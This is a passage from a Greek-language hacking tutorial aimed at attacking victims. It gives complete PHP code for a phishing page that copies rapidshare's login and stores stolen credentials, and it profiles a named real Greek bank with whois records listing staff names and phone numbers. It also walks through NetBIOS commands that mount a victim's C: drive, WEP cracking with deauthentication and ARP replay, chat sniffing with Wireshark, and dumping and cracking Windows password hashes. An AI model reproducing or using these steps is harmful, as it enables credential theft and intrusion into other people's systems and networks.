μελλοντικά του Defaces. Και τέλος τα blogs δεν χακάρονται καθόλου εύκολα
γιατί είναι "powerade by google", ανήκουν στην Google δηλαδή. Αν κάποιος
καταφέρει να "χακάρει" ένα blog, τότε είναι συνώνυμο σα να χάκαρε το
Google.

Phishing Μία τεχνική του hacking που χρησιμοποιείται για κλέψιμο


κωδικών και λογαριασμών είναι το Phishing. Στο συγκεκριμένο οδηγό θα
αναλύσουμε την τεχνική αυτήν μέσα από ένα παράδειγμα για να δούμε πως
μπορούν οι hackers να ξεγελάσουν τα θύματα τους για να κλέψουν τους
κωδικούς πρόσβασης τους. Θα χρησιμοποιήσουμε την ιστοσελίδα
rapidshare.com σαν παράδειγμα για τον οδηγό μας.
Πηγαίνουμε λοιπόν στο site http://www.rapidshare.com και επιλέγουμε να
πάμε στην σελίδα premium zone. Εκεί κάνουμε δεξί κλικ στην σελίδα και
επιλέγουμε προβολή προέλευσης. Επιλέγουμε όλο των κώδικα και τον
αντιγράφουμε σε ένα έγγραφο σημειωματάριου.
Στον κώδικα μας ενδιαφέρουν δύο λέξεις: method και action. Ψάχνουμε με
την εύρεση (ctrl+F) για να βρούμε που αναφέρεται η λέξη method. Θα δούμε
ότι στο αποτέλεσμα θα μας εμφανίσει method=”post” και αλλάζουμε το post
με την λέξη get.
Τώρα ψάχνουμε για την λέξη action μέσα στον κώδικα και θα δούμε κάτι σαν
το παρακάτω:
action=”https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi“
Αντικαθιστούμε τον παραπάνω σύνδεσμο με το next.php δηλαδή:
action=”next.php”
Σώζουμε αυτό το αρχείο σαν index.html και τώρα θα δημιουργήσουμε την
σελίδα next.php.
Δημιουργούμε ένα νέο έγγραφο σημειωματάριου και πληκτρολογούμε τον
παρακάτω κώδικα:
Κώδικας:

<?php
$datum = date(‘d-m-Y / H:i:s’);
$ip = $_SERVER['REMOTE_ADDR'];
header(“Location: Εδώ βάζουμε το redirect url”);
$handle = fopen(“password.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “IP: $ip | Date: $datum (Date=0 GTM)\r\n”);
fwrite($handle, “\r\n”);
fclose($handle);
setcookie (“user”, “empty”, time()+3600);
exit;
?>

• Η σελίδα next.php θα είναι και η σελίδα στην οποία θα κατευθυνθούν οι


χρήστες αφότου βάλουν τις πληροφορίες λογαριασμού τους στην πρώτη
σελίδα.
Στον παραπάνω κώδικα μετά από την λέξη location βάζουμε το redirect url
μας το οποίο μπορεί να είναι η αυθεντική σελίδα του rapidshare ή
οποιαδήποτε άλλη σελίδα επιθυμούμε εμείς να κατευθύνει τα θύματα μας
αφότου βάλουν τις πληροφορίες του λογαριασμού τους. Επιλέγουμε για το
παράδειγμα μας την αυθεντική σελίδα του rapishare.Δηλαδή θα έχουμε:
header(“Location: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi ”);
Σώζουμε αυτό το αρχείο σαν next.php και τώρα δημιουργούμε ένα ακόμα
έγγραφο σημειωματάριου με την ονομασία password.txt το οποίο και θα
είναι το έγγραφο στο οποίο θα αποθηκεύονται οι πληροφορίες των
λογαριασμών των θυμάτων.
Πηγαίνουμε σε ένα free web hosting site που υποστηρίζει php (όπως
http://www.freeweb7.com/) και αφού σιγουρευτούμε ότι έχουμε διαγράψει
όλα τα default αρχεία που υπάρχουν από τον web hosting provider όπως το
index.html ανεβάζουμε τα 3 αρχεία μας
αρχεία(index.html,next.php,password.txt).
Τώρα πηγαίνουμε στην ιστοσελίδα που έχουμε φτιάξει και βάζουμε “test”
στο login και “test” στο password για να τσεκάρουμε αν θα εμφανιστούν στο
password.txt. Αν εμφανιστούν τότε σημαίνει ότι η ψεύτικη μας σελίδα
δουλεύει.
• Άλλα Προγράμματα για σπάσιμο κωδικών...
- Cain and Abel (Με λίγα λόγια εξαιρετικό).
- SolarWinds
- Rainbow Crack (Πολύ χρονοβόρα διαδικασία, καταλαμβάνουν πολλά GB αλλά με
σίγουρο αποτέλεσμα).
- Brutus (Το συνιστώ μόνο για σπάσιμο FTP).

Network Hacking
Footprinting Είναι η τεχνική συλλογής πληροφοριών σχετικά με τα
υπολογιστικά συστήματα και των οντοτήτων που ανήκουν αυτά. Έτσι
λοιπόν πριν από μία επίθεση σε ένα δίκτυο αυτήν η διεργασία είναι ιδιαίτερα
χρήσιμη καθώς έχει σαν σκοπό την εύρεση όσο το δυνατόν περισσότερων
πληροφοριών σχετικά με το δίκτυο του άλλου. Αλλά πώς κάποιος να
συλλέξει αυτές της πληροφορίες?
Τι θα πρέπει να ψάξουμε αρχικά;
Καταρχάς η ιστοσελίδα της εταιρείας είναι το αρχικό μας σημείο καθώς
θα μας δώσει εύκολα και αβίαστα τις πρώτες μας πληροφορίες.Χρήσιμα
στοιχεία που μπορούμε να βρούμε εκεί μέσα είναι τα εξής:Αριθμοί
τηλεφώνων,emails,ονόματα,τοποθεσίες και άλλες εταιρείες που σχετίζονται
με τον στόχο μας.Επίσης πολλές φορές υπάρχουν στον πηγαίο κώδικα των
ιστοσελίδων πληροφορίες αρκετά χρήσιμες στα σχόλια.Οπότε κοιτάμε και τα
σχόλια μήπως βρούμε κάτι ενδιαφέρον.
Ακόμα οι μηχανές αναζήτησης μπορούνε να μας
βοήθησουνε ακόμα περισσότερο στο να φτιάξουμε το προφίλ του στόχου
μας.
Καθορισμός των Domain Names και Network Blocks;
Το επόμενο μας βήμα είναι να βρούμε ποια είναι τα Domain Names της
εταιρείας και το εύρος των IP's που της αντιστοιχούν στο δίκτυο της.Η
ανεύρεση αυτών των στοιχείων γίνετια ως εξής:
Χρησιμοποιώντας το query whois σε βάσεις δεδομένων που έχουν
καταχωρημένα τα register domains.Για την Ευρώπη για παράδειγμα μία
τέτοια ιστοσελίδα είναι το www.ripe.net
Υπάρχουν 5 queries που μπορούν να χρησιμοποιηθούν με την εντολή
whois και μπορούν να μας αποδώσουν πολύ κρίσιμες πληροφορίες για την
επίθεση μας.Τα queries αυτά είναι:Το registrar query,τo organizational
query,το domain query,το network query και το point of contact query.
Παράδειγμα:
Χρησιμοποιούμε κατά κύρια βάση την ιστοσελίδα
www.networksolutions.com για να ψάξουμε για την εταιρεία που θέλουμε σε
περίπτωση που είναι Ελληνική θα χρησιμοποιήσουμε το query whois σε
αυτό το site για το domain MARFININVESTMENTGROUP.COM θα πάρουμε τα
ακόλουθα αποτελέσματα:
Domain Name: MARFININVESTMENTGROUP.COM
Registrar: ONLINENIC, INC.
Whois Server: whois.onlinenic.com
Referral URL: http://www.OnlineNIC.com
Name Server: NS.MARFINBANK.GR
Name Server: NS1.MARFINGROUP.GR
Status: clientTransferProhibited
Updated Date: 26-feb-2011
Creation Date: 10-may-2007
Expiration Date: 10-may-2010

Σημείωση:Αναλόγως και το τι στοιχεία έχει προμηθεύσει η εταιρεία


μπορούμε να πάρουμε και περισσότερα στοιχεία όπως αναφέραμε και πιο
πάνω. Το επόμενο μας βήμα είναι να εντοπίσουμε το εύρος των IP που
χρησιμοποιούνε στο δίκτυο τους. Χρησιμοποιώντας την βάση δεδομένων
της ιστοσελίδας www.ripe.net έχουμε τα ακόλουθα αποτελέσματα:
inetnum: 195.97.15.0 - 195.97.15.127
netname: MARFIN
descr: Marfin Investments
descr: Kifissias 225-227, Athens, 14561
country: GR
admin-c: KV138-RIPE
tech-c: HOL-RIPE
status: ASSIGNED PA
mnt-by: AS3329-MNT
source: RIPE # Filtered
role: HOL Network Operations Center
address: Hel as On Line S.A.
address: 2, Andrianiou Str & Papada
address: 11521 Ampelokipoi, Athens, Greece
abuse-mailbox: abuse@hol.gr
abuse-mailbox: postmaster@hol.gr
admin-c: TK583-RIPE
admin-c: AI1568-RIPE
tech-c: TK583-RIPE
tech-c: AI1568-RIPE
nic-hdl: HOL-RIPE
mnt-by: AS3329-MNT
source: RIPE # Filtered
person: Kostas Vlahakis
address: Marfin Investments
address: Kifissias 225-227
address: Athens 14561, Greece
phone: +301 6127748
fax-no: +301 6127353
nic-hdl: KV138-RIPE
mnt-by: AS3329-MNT
source: RIPE # Filtered
Information related to '62.103.38.112 - 62.103.38.127'
inetnum: 62.103.38.112 - 62.103.38.127
netname: MARFIN
descr: ATHENS
country: GR
admin-c: MH6673-RIPE
tech-c: IT454-RIPE
status: assigned PA
mnt-by: OTENET-GR-MNT
source: RIPE # Filtered
person: MARFIC HELLENIC
address: ATHENS
address: GR
phone: +30-8173000
mnt-by: otenet-gr-mnt
nic-hdl: MH6673-RIPE
source: RIPE # Filtered
person: Ioanna Tsagka
address: Network Operation and Management Center - NOMC
address: OTEnet S.A.
address: 109 Kifissias Ave & Sina Str. Marousi
address: GR-15124 Athens
address: Greece
phone: +30 210 6151600
fax-no: +30 210 6151900
nic-hdl: IT454-RIPE
source: RIPE # Filtered
Information related to '213.5.232.80 - 213.5.232.83'
inetnum: 213.5.232.80 - 213.5.232.83
netname: marfin
descr: Bank
country: GR
admin-c: AM2251-RIPE
tech-c: AM2251-RIPE
status: ASSIGNED PA
mnt-by: AS8509-MNT
source: RIPE # Filtered
person: Aris Metaxwtos
address: 45 Vas.Sofias av
address: 10676 - Athens
phone: +30-10-8170617
fax-no: +30-10-6180079
nic-hdl: AM2251-RIPE
mnt-by: AS8509-MNT
source: RIPE # Filtered

Έτσι λοιπόν έχουμε ονόματα,τηλέφωνα,fax,τοποθεσίες και το πιο σημαντικό


τα network blocks!!!Μπορούμε λοιπόν να αρχίσουμε με κάποιο tool να
σκανάρουμε αυτό το εύρος των IP διευθύνσεων προκειμένου να δούμε ποιές
είναι alive. Μπορούμε επίσης να ψάξουμε με την εντολή nslookup του cmd
για να εντοπίσουμε τα εσωτερικά hostnames και τις εσωτερικές IP
διευθύνσεις.
Αυτό ήταν το λεγόμενο Footprinting και όπως είδαμε με την τεχνική αυτήν
ανακαλύψαμε πάρα πολλά στοιχεία για τον στόχο μας.Στην ουσία φτιάξαμε
ένα προφίλ της εταιρείας μας με σημαντικές και χρήσιμες πληροφορίες για
αυτήν.

Port Scanning Πρόκειται για μια μέθοδο στην οποία ο hacker με


πρόγραμμα (κατά 90%) προσπαθεί να βρει ποια ports είναι ανοιχτά στο
σύστημά του θύματος του. Αποκτώντας την πληροφορία αυτή μπορούμε
να δούμε αν υπάρχουν πόρτες ανοιχτές στο σύστημά του, το τι "ακούει"
σε κάθε πόρτα, καθώς και το αν πρέπει οι συγκεκριμένες πόρτες να είναι
όλες ανοιχτές. Παρακάτω ακολουθεί οδηγός για την χρήση του nmap με
γραφικό περιβάλλον (Zenmap).
Πρώτα ο hacker θα δηλώσει την διευθυνση του θυματος (URL ή IP) στο
target box. Το command box ανανεώνεται αυτόματα.
Μετά ο hacker θα διαλέξει το profile με άλλα λόγια το είδος του scan. Ένας
έξυπνος hacker θα διάλεγε ένα γρήγορο και αθόρυβο scan για να μην
προκαλέσει υποψίες στο θύμα.

• Τα αποτελέσματα του scan θα είναι κάπως έτσι:


(H IP 50.22.11.20, αντιστοιχεί στην ιστοσελίδα eimaimalakas.com)

NetBIOS Hacking.
Αν ένας υπολογιστής για παράδειγμα έχει ανοίξει το port 139, τότε είμαστε
σε θέση να κάνουμε το γνωστό netbios hacking.
Ξεκινάμε λοιπόν. Φια αρχή θα πρέπει να κατεβάσουμε το angry IP scanner ,
το οποίο είναι το καλύτερο πρόγραμμα που επικεντρόνεται στο να σκανάρει
ΙΡ διευθύνσεις.
Πάμε να ψάξουμε όλες τις ΙΡ, και να βρούμε ποια, ή ποιές από αυτές έχουν
τη συγκεκριμένη πόρτα ανοικτή. Πώς θα το κάνουμε αυτό;
Πολύ απλά ανοίγουμε το πρόγραμμα και πατάμε tools>preferences>ports και
μέσα στο κουτάκι βάζουμε την πόρτα που θέλουμε να ψάξει ως ανοικτή.
Πατάμε οκ, και ξεκινάμε το σκανάρισμα(μπορούμε εμείς να επιλέξουμε το
εύρως των ΙΡ που θέλουμε να σκανάρουμε.)

Μόλις το σκανάρισμα τελειώσει θα παρατηρήσουμε αριστερά, κόκκινες


μπάλες, μπλέ και πράσινες.
Οι κόκκινες σημαίνει ότι ο υπολογιστής είναι απενεργοποιημένος, οι μπλέ οτι
είναι ενεργός αλλά έχει την πόρτα 139 κλειστή και με πράσινο, είναι αυτό
που ζητάμε. Δηλαδή ενεργοποιημένος υπολογιστής με την πόρτα 139
ανοικτή! Οπότε ξεκινάμε!
Ανοίγουμε το cmd(command). Πατάμε έναρξη και γράφουμε cmd και πατάμε
enter, και ακολουθούμε τα παρακάτω βήματα:

1)Πατήστε: nbtstat -a (here the ip)

2)Στη συνέχεια: net view \\(IP here)

3)Και τέλος: net use R: \\(IP here)\C

Και τώρα; Κατά 90% (αν δε σας ζητήσει κωδικό) μόλις πάτε στον
"υπολογιστής μου"(Win+E) θα παρατηρήσετε έναν ακόμη σκληρό δίσκο(!)
στον υπολογιστή σας. Αυτός είναι ο σκληρός δίσκος(C:/) του θύματος!!
Βρήκαμε αρκετές ανοιχτές ports μαζί με τις υπηρεσίες τους, παρακάτω
δίνετε μια λίστα με υπηρεσίες που αντιστοιχούν στις ποιο γνωστές ports.
20 FTP data (File Transfer Protocol)
21 FTP (File Transfer Protocol)
22 SSH (Secure Shel )
23 Telnet
25 SMTP (Send Mail Transfer Protocol)
43 whois
53 DNS (Domain Name Service)
68 DHCP (Dynamic Host Control Protocol)
80 HTTP (HyperText Transfer Protocol)
110 POP3 (Post Office Protocol, version 3)
137 NetBIOS-ns
138 NetBIOS-dgm
139 NetBIOS
143 IMAP (Internet Message Access Protocol)
161 SNMP (Simple Network Management Protocol)
194 IRC (Internet Relay Chat)
220 IMAP3 (Internet Message Access Protocol 3)
443 SSL (Secure Socket Layer)
445 SMB (NetBIOS over TCP)
1352 Lotus Notes
1433 Microsoft SQL Server
1521 Oracle SQL
2049 NFS (Network File System)
3306 MYSQL
4000 ICQ
5800 VNC
5900 VNC
8080 HTTP

Εκτός από τις ανοιχτές ports σε ένα σύστημα ο hacker χρειάζεται να


γνωρίζει και το λειτουργηκό του σύστημα, φυσικά υπαρχει τέτοια επιλογή
στο nMap αλλά είναι πολύ “θορυβώδης” και μπορεί να προκαλέσει υποψίες
στο θύμα, οπότε την αφήνουμε σαν τελευταία λύση. Ένας ποιο απλός
τρόπος αν το θύμα μας είναι "site" είναι να πάρουμε ένα 404 error στα
περισσότερα site αναγράφεται και η έκδοση του λειτουργηκού τους
συστήματος στην σελίδα του error. Ένας απλός τρόπος να δούμε ένα 404
error είναι πληκτρολογόντας κάτι σαν αυτό(ghfhgfhfh.php)
στο τέλος της διεύθυνσης. π.χ. Www.target-site.com/ghfhgfhfh.php
Αν σκοπεύεις να χρησιμοποιήσεις μια έκδοση του nMap χωρίς γραφικό
περιβάλλον μπορείς να βρείς τις εντολές που θα χρειαστείς
εδώ(http://nmap.org/book/man.html)

Searching for Vulnerabilites Τώρα που ο hacker γνωρίζει το λογισμικό


και την έκδοση που τρέχει το θύμα του, θα χρησιμοποιήσει αυτές τις
πληροφορίες για να βρει ένα exploit. Αν βρει ένα exploit θα το τρέξει έναντι
του θύματος του και θα αποκτήσει τον απόλυτο έλεγχο. Αν δεν βρει κανένα
exploit θα πάει σε άλλη port και θα ψάξει και θα δοκιμάσει ξανά σε άλλη
υπηρεσία.
Γνωστές databases με exploits είναι:
http://exploit-db.com/
http://packetstormsecurity.org/
http://osvdb.org/
0-Day: Κάθε νέα Vulnerability (ευπάθεια) που ανακαλύπτει κάποιος hacker
ονομάζεται 0-day (zero day). Οι 0-day Vulnerabilites έχουν μεγάλη σημασία
στην κοινότητα των hacker γιατί μια τέτοια ευπάθεια μπορεί να
χρησιμοποιηθεί ενάντια σε εκατοντάδες site και υπολογιστές φυσικά πριν
την διορθώσουν.
Η πιο χαρακτηρστικές είναι οι ευπάθειες που βρίσκουν χάκερς σε
προγράμματα όπως το Adobe Rader, που πριν μερικούς μήνες βρέθηκε μια
τέτοια τεράστιας σημασίας ευπάθεια, που επέτρεπε στον hacker να
εισχωρήσει σε όσους υπολογιστές έτρεχαν το παραπάνω πρόγραμμα.
Οι ποιο κοινές επιθέσεις ενάντια σε vulnerabilites είναι:

1. Denial Of Service (DoS) μια τέτοια επίθεση έχει ως σκοπό να


υπερφορτώσει τόσο πολύ το σύστημα-στόχο καταναλώνοντας μνήμη και
bandwidth έτσι ώστε να μην είναι σε θέση πλέον να εξυπηρετήσει τους
κανονικούς χρήστες του. Αυτό επιτυγχάνεται μέσω της αποστολής πακέτων
δεδομένων (data packets) σε υπερβολικά μεγάλο ρυθμό έτσι ώστε το
σύστημα-στόχος να αδυνατεί να τα επεξεργαστεί με αποτέλεσμα τις
περισσότερες φορές να πρέπει να γίνει επανεκκίνηση (reboot). Για
παράδειγμα. Ας πούμε πως έχουμε δύο υπολογιστές. Ο ένας εκτελεί την εν
λόγω επίθεση.
Αυτό που γίνεται όταν κάποιος θέλει να πάει σε κάποια ιστοσελίδα,
προφανώς γράφουμε τη διεύθυνση που θέλουμε και πατάμε enter. Τότε
φεύγει το αίτημα από τον υπολογιστή μας και επιστρέφει με μια απάντηση.
Ο παραπάνω υπολογιστής αντί να στείλει ένα πακέτο, θα στείλει χιλιάδες.
Εάν λαμβάνει πολλά πακέτα το σύστημα, πώς θα καταφέρει να τα
επεξεργαστεί και να στείλει την απάντηση; Πολύ απλά, ο άλλος μας
υπολογιστής αντί να λάβει την απάντηση(όπως και κάθε άλλος), την
φόρτωση της ζητούμενης σελίδας δηλαδή, δεν θα την πάρει ποτέ!
Το ίδιο ισχύει και για τις DDoS (Distributed denial of service), επιθέσεις, με
μόνη διαφορά ότι εκτελείται η επίθεση σε μικρότερο βαθμό αλλά από
πολλούς υπολογιστές μαζί.

2. Buffer Overflow (BoF) Κατά την επίθεση με υπερχείλιση προσωρινής


μνήμης οι hackers εισβάλουν σε συστήματα χωρίς να χρειάζεται να κάνουν
login. Χρησιμοποιούν ένα πρόγραμμα που ήδη υπάρχει στον υπολογιστή και
τρέχει στο σύστημα και του δίνουν να εκτελέσει ένα κομμάτι εντολών. Το
πετυχαίνουν αυτό, φτιάχνοντας ένα μεγάλο τμήμα από χαρακτήρες που
περιέχει τις εντολές που θέλουν να εκτελεστούν και το εισάγουν σαν
παράμετρο εισόδου στο πρόγραμμα. Κανονικά το πρόγραμμα δεν εκτελεί
τον κώδικα που περνά σαν παράμετρος, αν
όμως το μήκος του κειμένου είναι μεγαλύτερο από το μήκος που έχει
δοθεί σαν χώρος (buffer) για το πέρασμα της παραμέτρου, τότε μέρος του
περνά στον χώρο του εκτελέσιμου προγράμματος. Ο χώρος για τα δεδομένα
εισόδου των προγραμμάτων βρίσκεται επάνω από τον χώρο που λέγεται
process stack, που είναι το τμήμα της μνήμης που το πρόγραμμα κρατά τα
δεδομένα και τον κώδικα για τον χειρισμό αυτών των δεδομένων. Κάθε
φορά που το πρόγραμμα εκτελεί μια λειτουργία (function) για να επιστρέψει
στο αρχικό σημείο, βρίσκει τη διεύθυνση
που πρέπει να επιστρέψει στο χώρο του prοcess stack με αποτέλεσμα να
εκτελεστεί ο κώδικας σε αυτή την περιοχή και μάλιστα με ό,τι προνόμια
έχει το πρόγραμμα (θα μπορούσε δηλαδή να είναι προνόμια root access).

3. Local Exploit Όταν ένα exploit εφαρμόζεται Local, έχει ως αποτέλεσμα


την αύξηση των δικαιωμάτων του προσώπου που εκτελεί το exploit.
4. Remote Exploit Όταν ένα exploit εκτελείται remote, εκμεταλλεύεται τη
αδυναμία του απομακρυσμένου συστήματος χωρίς όμως να απαιτείται
κάποια προγενέστερη πρόσβαση στο σύστημα(όπως και η διαδεδομένη
επίθεση RFI{Remote File Inclusion}).
Penetrating – Διείσδυση Σίγουρα έχετε αναρωτηθεί, αφού ο hacker βρει
το κατάλληλο exploit πως το τρέχει εναντίον του στόχου του?! Η απάντηση
είναι απλή το μόνο που χρειάζεται είναι να έχει εγκατεστημένη μια έκδοση
της γλώσσας που είναι γραμμένο το exploit του. Τα exploit εχουν γραφεί σε
πολλές γλώσσες προγραμματισμού και για πολλά λειτουργικά. Παρακάτω
ακολουθεί ένας οδηγός για ένα exploit γραμμένο σε Perl.
Αρχικά θα χρειαστεί να κατεβάσεις την γλώσσα προγραμματισμού που
είναι γραμμένο το exploit σου, στην περίπτωση μας είναι η Perl. Οπότε
πληκτρολογούμε στο τερματικό “sudo apt-get instal perl” χωρίς τα “ “. Αφού
ολοκληρωθεί η εγκατάσταση θα χρειαστεί να επεξεργαστούμε το exploit
ώστε να ρυθμίσουμε κάποιες λεπτομέρειες όπως η IP του στόχου μας. 'Ηρθε
πλέον η ώρα να τρέξουμε το exploit, για να γίνει αυτό θα πρέπει πρώτα να
αλλάξουμε την directory του τερματικού, για να πετύχουμε κάτι τέτοιο θα
χρησιμοποιήσουμε την εντολή “cd /directory που έχουμε το exploit/” χωρίς
τα “ ” π.χ. Cd /home/Desktop/ έπειτα θα τρέξουμε το exploit με την εντολή
“perl όνομα-του-exploit.pl” χωρίς τα “
”. Επίσης πολύ σημαντικό είναι το exploit να έχει την κατάληξη της γλώσσας
που είναι γραμμένο, στην περίπτωση μας pl για την Perl.

Wireless Hacking
Wep Cracking Τρέχουμε την διανομή Backtrack. Ανοίγουμε την κονσόλα
που είναι το δεύτερο εικονίδιο κάτω αριστερά. Γράφουμε iwconfig
Και στην λίστα με τα δίκτυα κοιτάμε το όνομα του ασύρματου (από τώρα
και στο εξής eth1) Κλείνουμε την κονσόλα, και παμε στο πρώτο εικονίδιο
κάτω αριστερά. Το ανοίγουμε, παμε τέρμα πάνω στο BackTrack, στην
συνέχεια Radio Network Analysis, μετα 80211, Al , και μετά στο γνωστό
Kismet.
Το kismet είναι ρυθμισμένο ήδη να βάλει την κάρτα σε monitor, όταν ανοίξει,
δείχνει τα διαθέσιμα ασύρματα δίκτυα...
Πατάμε s και στη συνέχεια c για να βάλει τα δίκτυα σε σειρά με βάση το
channel που εκπέμπουν. Αν θέλετε πατήστε m για να το κάνετε να σκάσει
(εμένα με εκνευρίζει ο θόρυβος που κάνει σε κάθε πακέτο!!).
Πατάμε L (κεφαλαίο L δηλ. shift+L) για να κλειδώσει το kismet στην επιλογή
που θέλουμε. Πατάμε enter και σημειώνουμε το ssid, το bssid και το channel.
Πατάμε q για να βγούμε, και Q για να κλείσει το kismet.
Ανοίγουμε την κονσόλα πάλι και πληκτρολογούμε,
airodump-ng eth1 --ivs -w capture --bssid ff:ff:ff:ff:ff:f1 --channel 1 και
enter, όπου eth1 το όνομα που είδαμε στο iwconfig, όπου ff:ff:ff:ff:ff:f1 το
bssid του στόχου που γράψαμε απο το kismet, όπου (channel) 1 το κανάλι
που γράψαμε από το kismet, όπου capture το όνομα του αρχείου που
αποθηκεύουμε, Με την airodump-ng ... --ivs καταγράφουμε στο
αρχειο(capture.ivs) που καθορίσαμε στην -w, τα πακέτα που "ακούμε" από
το ΑP με bssid ff:ff:ff:ff:ff:f1, δηλαδή από το στόχο μας.
Για το σπάσιμο 64bit κλειδιού θέλουμε από 50k έως 200k πακέτα, και
ενός 128bit κλειδιού από 200k έως 700k!! Όπως θα διαπιστώσατε, τα πακέτα
είναι πολλά και ο ρυθμός μικρός. Θα αργήσουμε όπως φαίνεται. Πρέπει
λοιπόν να επισπεύσουμε την διαδικασία. Αφήνουμε ανοιχτό το airodump-ng,
ανοίγουμε νέα κονσόλα και γράφουμε, aireplay-ng eth1 -a ff:ff:ff:ff:ff:f1
--deauth 0 και enter όπου eth1 το όνομα που είδαμε στο iwconfig, όπου
ff:ff:ff:ff:ff:f1 το bssid του στόχου που γράψαμε απο το kismet, με την
aireplay-ng ... --deauth 0 λέμε στο AP να αποσυνδέσει όλους τους clients.
Έτσι όταν ξαναπροσπαθήσουν να συνδεθούν θα δούμε τα πακέτα να
ανεβαίνουν. Μπορούμε στην εντολή να πρσθέσουμε -c ff:ff:ff:ff:ff:f2 πριν το
--deauth, όπου ff:ff:ff:ff:ff:f2 η mac του client (φαίνεται στο kismet), οπότε και
θα αφαιρέσουμε το 0 από το τέλος. Και πάλι όμως τα πακέτα δεν
ανεβαίνουν γρήγορα, αφήστε που αν συνεχίσουμε να αποσυνδέουμε τους
clients κάποιος θα καταλάβει κάτι. Πατάμε ctrl+c για να σταματήσει το
deauth. Γράφουμε, aireplay-ng eth1 -b ff:ff:ff:ff:ff:f1 -m 68 - n 68 -h
ff:ff:ff:ff:ff:ff --arpreplay όπου ff:ff:ff:ff:ff:f1 το bssid του στόχου που γράψαμε
απο το kismet, Με αυτήν κάνουμε το εξής: Προσπαθούμε να βρούμε ένα
πακέτο( πιο σωστά να κάνουμε capture), το οποίο να περνά από το AP για
αληθινό, προσπαθούμε δηλαδη να το ξεγελάσουμε στέλνοντας το πακέτο
που πιάσαμε, ξανα και ξανα, δημιουργώντας κυκλοφορία. Κάποια στιγμη θα
δείτε "(got 1 ARP requests), sent ##
packets...". Τότε θα δείτε τα πακέτα στο airodump να εκτοξεύονται.
Αφήστε το airplay να στέλνει πακέτα και το airodump να αποθηκεύει.
Έχουμε σχεδόν τελειώσει... Ανοίγουμε άλλη μια κονσόλα και γράφουμε,
aircrack-ng -f 2 -b ff:ff:ff:ff:ff:f1 -n 128 -q capture*.ivs και enter
όπου ff:ff:ff:ff:ff:f1 το bssid του στόχου που γράψαμε απο το kismet,
όπου, 128 τα bit του κλειδιού (64/128/256/512), όπου capture το όνομα του
αρχείου που καταγράφει το airodump.
Με την airocrack-ng -f 2, ψάχνουμε στο αρχείο που αποθηκεύει το
airodump για το κλειδί . Όταν το aircrack τελειώσει θα έχουμε στην οθόνη
μας το κλειδί του δικτύου. Το σπάσιμο γίνεται και με άλλα linux, με τα
airodump, aircrack, aireplay και kismet που τα κατεβάζετε εύκολα. Οι εντολές
μπορεί να είναι διαφορετικές ανάλογα με την έκδοσή τους.Είδατε τι απλό
είναι? Περάστε σε WPA λοιπόν. Το WPA είναι πολύ καλύτερη μέθοδος, με ένα
passphrase αρκετά μεγάλο, όπως s1g@mhnm3vre1p0t3k@n3n45p4p4r@5
δεν νομίζω ότι θα έχετε κανένα
πρόβλημα. Επιθέσεις βέβαια υπάρχουν, ίσως σε άλλο how to. Η διαδικασία
είναι σχεδόν ίδια, μόνο που καταγράφουμε όλα τα πακέτα και όχι μόνο τα
ivs, και ψάχνουμε με brute force και όχι με στατιστικές μεθόδους, οπότε και
γίνεται αρκετά δύσκολο, αν όχι απίθανο . Μπορείτε να δείτε Ένα ελληνικό
επεξηγηματικό τιτόριαλ στο youtube
εδώ http://www.youtube.com/watch?v=owazIVWp-rc .

Packet Sniffing ονομάζεται η μέθοδος παρακολούθησης των πακέτων ενός


δικτύου. Σε αυτόν τον οδηγό θα χρησιμοποιήσουμε το πρόγραμμα
Wireshark. Με ένα packet sniffer ο hacker μπορεί να παρακολουθεί
συνομιλίες, ή να κλέβει username και password άλλων χρηστών στο ίδιο
δύκτιο. Κατεβάστε και εγκαταστήστε το Wireshark. Τρέξτε το και πατήστε
την επιλογή να δείτε τις διαθέσιμες capture interfaces.

Έπειτα διαλέξτε τον στόχο σας και πατήστε start.

Σε αυτό το παράδειγμα το θύμα έχει ανοιχτό τον Windows Live Messange


έτσι εμείς βλέπουμε την συνομιλία του.

Windows Hacking
• Κατεβάστε και εγκαταστήστε το Ophcrack, τρέξτε το Ophcrack. Κάντε
κλικ στο “Load” και μετά στο “Encrypted SAM” θα σας ανοίξει ένα νέο
παράθυρο, τώρα πρέπει να βρείτε τον φάκελο όπου βρισκονται
κρυπτογραφημένα οι κωδικοί των χρηστών των windows. Αυτός ο φάκελος
βρισκεται μέσα στον φάκελο “system32” και ονομάζεται “config” η διαδρομή
που πρέπει να ακολουθήσετε είναι“.../WINDOWS/system32/config”. Αφού
επιλέξετε τον φάκελο “config” στο
Ophcrack θα εμφανιστεί μια λίστα των χρηστών των windows μαζί με τους
κωδικούς τους σε μορφή Hash. Σε αυτόν τον οδηγό μας ενδιαφέρει ο
χρήστης “Administrator” του οποίου ο κωδικός βρίσκετε στη στήλη “NT
Hash” (όπως στην εικόνα).

Μέχρι τώρα έχουμε πάρει τον κωδικό του χρήστη που μας ενδιαφέρει σε
μορφή Hash, ήρθε η ώρα να “σπάσουμε” την κρυπτογράφηση hash. Αυτό
μπορούμε να το κάνουμε με δύο τρόπους είτε α) μέσω του υπολογιστή μας
(δεν σας το συνιστώ λόγω της μικρής επεξεργαστικής ισχύς των
προσωπικών υπολογιστών θα πάρει υπερβολικά πολύ χρόνο) είτε β) μέσω
ενός online server που η κύρια λειτουργία του είναι να “σπάει” Hash. Στον
οδηγό αυτόν θα εφαρμόσουμε την δεύτερη μέθοδο, το site που θα
χρησιμοποιήσουμε για να σπάσουμε τo hash ειναι
το(http://www.md5decrypter.co.uk/ntlm-decrypt.aspx).
συμπληρώστε το hash στο κενό όπως την εικόνα)

Μέσα σε λίγα δευτερόλεπτα θα σας έχει δώσει τον κωδικό του χρήστη. Σε
περίπτωση που δεν μπορέσει να βρει τον κωδικό μπορείτε να στείλετε το
hash στον ιδιοκτήτη του site (http://www.md5decrypter.co.uk/contact-
me.aspx) και να σας το σπάσει αυτός με “rainbow tables”.
ΣΗΜΕΙΩΣΗ: O ADMIN ΤΗΣ ΣΥΓΚΕΚΡΙΜΕΝΗΣ ΙΣΤΟΣΕΛΙΔΑΣ ΕΙΝΑΙ ΛΙΓΟ
ΜΑΛΑΚΑΣ ΟΠΟΤΕ ΠΡΟΣΟΧΗ ΣΤΟ ΤΙ ΓΡΑΦΕΤΕ...

Malware
• Το “Malware”, συντομογραφία που προκύπτει από το συνδυασμό των
λέξεων malicious software, είναι ένας συλλογικός όρος που χρησιμοποιείται
